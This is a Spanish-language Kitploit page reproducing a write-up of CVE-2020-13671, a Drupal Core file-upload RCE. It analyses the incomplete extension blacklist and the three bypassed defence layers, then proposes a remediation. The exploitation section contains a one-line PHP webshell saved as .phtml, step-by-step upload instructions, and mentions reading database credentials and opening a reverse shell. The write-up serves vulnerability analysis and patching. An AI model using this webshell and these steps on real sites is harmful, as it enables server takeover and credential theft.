Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/dungsocool/cve-2020-13671-old
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHubdungsocool/cve-2020-13671-old

CVE-2020-13671-old

CVE-2020-13671 - Análisis de vulnerabilidad de RCE en Drupal mediante carga de archivos y PoC

Ver Repositorio
hace 3 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-13671

RCE mediante la subida de archivos — Drupal Core

Software: Drupal Core 8.7.5 (Afectadas: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alta)
CWE: CWE-434 — Subida sin restricciones de archivos con tipo peligroso
CISA KEV: Sí — Vulnerabilidad explotada conocida
Aviso: SA-CORE-2020-012


Qué es Drupal

Drupal es un sistema de gestión de contenidos (CMS) de código abierto escrito en PHP, similar a WordPress o Joomla, pero orientado a la construcción de sistemas más complejos: sitios web empresariales, plataformas multilingües. Drupal utiliza una arquitectura modular, que permite ampliar la funcionalidad habilitando/deshabilitando los módulos disponibles o instalando otros adicionales de la comunidad.

Una de las funciones básicas de cualquier CMS es permitir a los usuarios subir archivos: avatares de perfil, documentos adjuntos, archivos adjuntos en artículos. Drupal guarda estos archivos en el directorio sites/default/files/ y los sirve directamente a través del servidor web (Apache o Nginx).

⇒ Esto crea una superficie de ataque clara: si un atacante consigue subir un archivo PHP a ese directorio, el servidor web lo ejecutará cuando se acceda a él mediante una solicitud entrante.

Para evitarlo, Drupal construye múltiples capas de defensa: validar las extensiones de archivo, renombrar los archivos peligrosos y colocar un .htaccess para bloquear la ejecución de scripts en el directorio de subida. Pero en la versión 8.7.5, los atacantes explotan exactamente el punto ciego de estas capas.

Condiciones de explotación

Esta vulnerabilidad requiere una cuenta con permisos de subida de archivos. Por defecto en Drupal 8.7.5, los usuarios normales (Authenticated) solo tienen permisos para ver contenido y publicar comentarios: no tienen permiso para crear artículos ni subir archivos.

Cuenta¿Explotable?Explicación
AdminSíPermisos completos de subida
Editor / Creador de contenidoSíSi se le concede el permiso "Crear contenido" con subida habilitada por el administrador
Usuario autenticado (por defecto)NoPor defecto no tiene permiso para crear contenido ni subir archivos
Anónimo (sin sesión iniciada)NoSin permiso de subida

Sin embargo, en la práctica, muchos sitios Drupal conceden permisos de creación de contenido a usuarios normales (foros, blogs comunitarios, sitios de noticias que permiten el envío de artículos). En esos casos, un atacante solo necesita registrarse para explotarla.

Flujo de ataque:

root@kitploit:~
Atacante con cuenta con privilegios de subida → Crear artículo (Article)
→ Subir webshell.phtml mediante el campo de adjunto Imagen/Archivo
→ Drupal guarda el archivo con su nombre original en sites/default/files/
→ El atacante accede a la URL del archivo → Apache ejecuta PHP → RCE

Causa raíz ( ROOT CAUSE )

En el archivo core/modules/file/file.module, hay una única expresión regular que determina qué archivos se consideran ejecutables:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

Esta expresión regular enumera 7 extensiones: phar, php, pl, py, cgi, asp, js. A cualquier archivo con una extensión que coincida con esta lista, Drupal le añadirá automáticamente .txt, neutralizando la capacidad de ejecución.

Sin embargo, el motor PHP no solo procesa archivos .php. Según la configuración del servidor web, también reconoce y ejecuta otras extensiones:

ExtensiónSignificado¿Incluida en la expresión regular?
.phpPHP estándarSí
.phtmlPlantilla alternativa de PHPNo
.php5Manejador de PHP 5No
.phtPlantilla PHPNo
.phpsCódigo fuente PHPNo
.shtmlInclusiones del lado del servidorNo

Hay 5 variantes de extensiones PHP que están completamente ausentes de la expresión regular. Esto significa que un archivo llamado shell.phtml enviado a Drupal → la expresión regular no coincide → no se renombra → se guarda con su nombre original en el directorio de subida → el servidor web ve .phtml → lo ejecuta como PHP → el atacante consigue RCE. Esta es la causa raíz: Drupal usaba una lista negra para bloquear extensiones peligrosas, pero esa lista estaba incompleta.

Análisis de cada capa de defensa

Cuando un usuario sube un archivo, Drupal lo pasa por 3 funciones de validación antes de guardarlo. A continuación se analiza por qué las 3 fallan con .phtml.

Capa 1 — file_munge_filename() (core/includes/file.inc)

Propósito: detectar extensiones peligrosas ubicadas en el medio del nombre de archivo y añadir _ para neutralizarlas. Así funciona la función:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Por ejemplo, con shell.phtml:

  • explode divide en ["shell", "phtml"]
  • shift toma "shell", dejando ["phtml"]
  • pop toma "phtml", dejando []
  • El array intermedio está vacío → foreach no se ejecuta
  • Devuelve "shell.phtml" intacto

Sin embargo, si el archivo solo tiene una extensión, no interviene. Por lo tanto, esta función solo está diseñada para manejar archivos con varias extensiones.

Capa 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

Esta es la capa de defensa principal. Código en la línea 1015:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Si el nombre de archivo coincide con la expresión regular → cambia el tipo MIME a text/plain y añade .txt al final.

Con shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') devuelve 0
  • No hay coincidencia → no entra en el bloque if → el archivo conserva su nombre original

Por lo tanto, esta sección debería haber bloqueado los archivos peligrosos, pero como la expresión regular no sabe que .phtml es peligroso, pasa directamente.

Capa 3 — .htaccess en el directorio de subida

Drupal coloca un archivo .htaccess en sites/default/files/:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

La directiva php_flag engine off desactiva el motor PHP para todo el directorio, pero solo se aplica a mod_php5. Drupal 8.7.5 se ejecuta en PHP 7, lo que significa que mod_php7 está activo y no deshabilitado.

Además, .htaccess tiene otras 3 debilidades:

  • Nginx no lee .htaccess — este archivo es completamente ineficaz en Nginx
  • Apache configurado con AllowOverride None → .htaccess se ignora
  • Servidores que usan PHP-FPM en lugar de mod_php → la directiva php_flag no tiene efecto

Explotación

Paso 1 — Crear la webshell

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Paso 2 — Subir el archivo

Inicia sesión en Drupal con una cuenta que tenga permisos de subida → Contenido → Añadir contenido → Artículo → en el campo Imagen, selecciona el archivo webshell.phtml → Subir.

Drupal acepta el archivo, no lo renombra y lo guarda con su nombre original en sites/default/files/.

image.png

Paso 3 — Ejecutar la webshell

Después, ejecuta la llamada de shell con whoami:

image.png

Así, hemos conseguido RCE como www-data.

Probando más a fondo para ver las credenciales:

image.png

Resultado

El atacante puede leer settings.php, que contiene las credenciales de la base de datos, volcar toda la base de datos, instalar una reverse shell o escalar privilegios hasta root.

Remediación

Actualizar la expresión regular — añade las 5 extensiones que faltan:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

Actualizar .htaccess — añade la desactivación para mod_php7:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

El parche funciona, pero sigue dependiendo de una lista negra. Si en el futuro aparecen nuevas extensiones (.php8, .phpt), la expresión regular deberá actualizarse de nuevo. La lista blanca — permitir solo extensiones conocidas y seguras — sería un enfoque más exhaustivo.

Resumen

Archivo vulnerablecore/modules/file/file.module línea 28
Causa raízA la lista negra de la expresión regular le faltan .phtml, .php5, .pht, .phps, .shtml
ImpactoSubir .phtml → el servidor ejecuta → RCE
3 capas de defensa eludidasfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
ParcheAñadir 5 extensiones a la expresión regular + desactivar mod_php7 en .htaccess
Descargar herramienta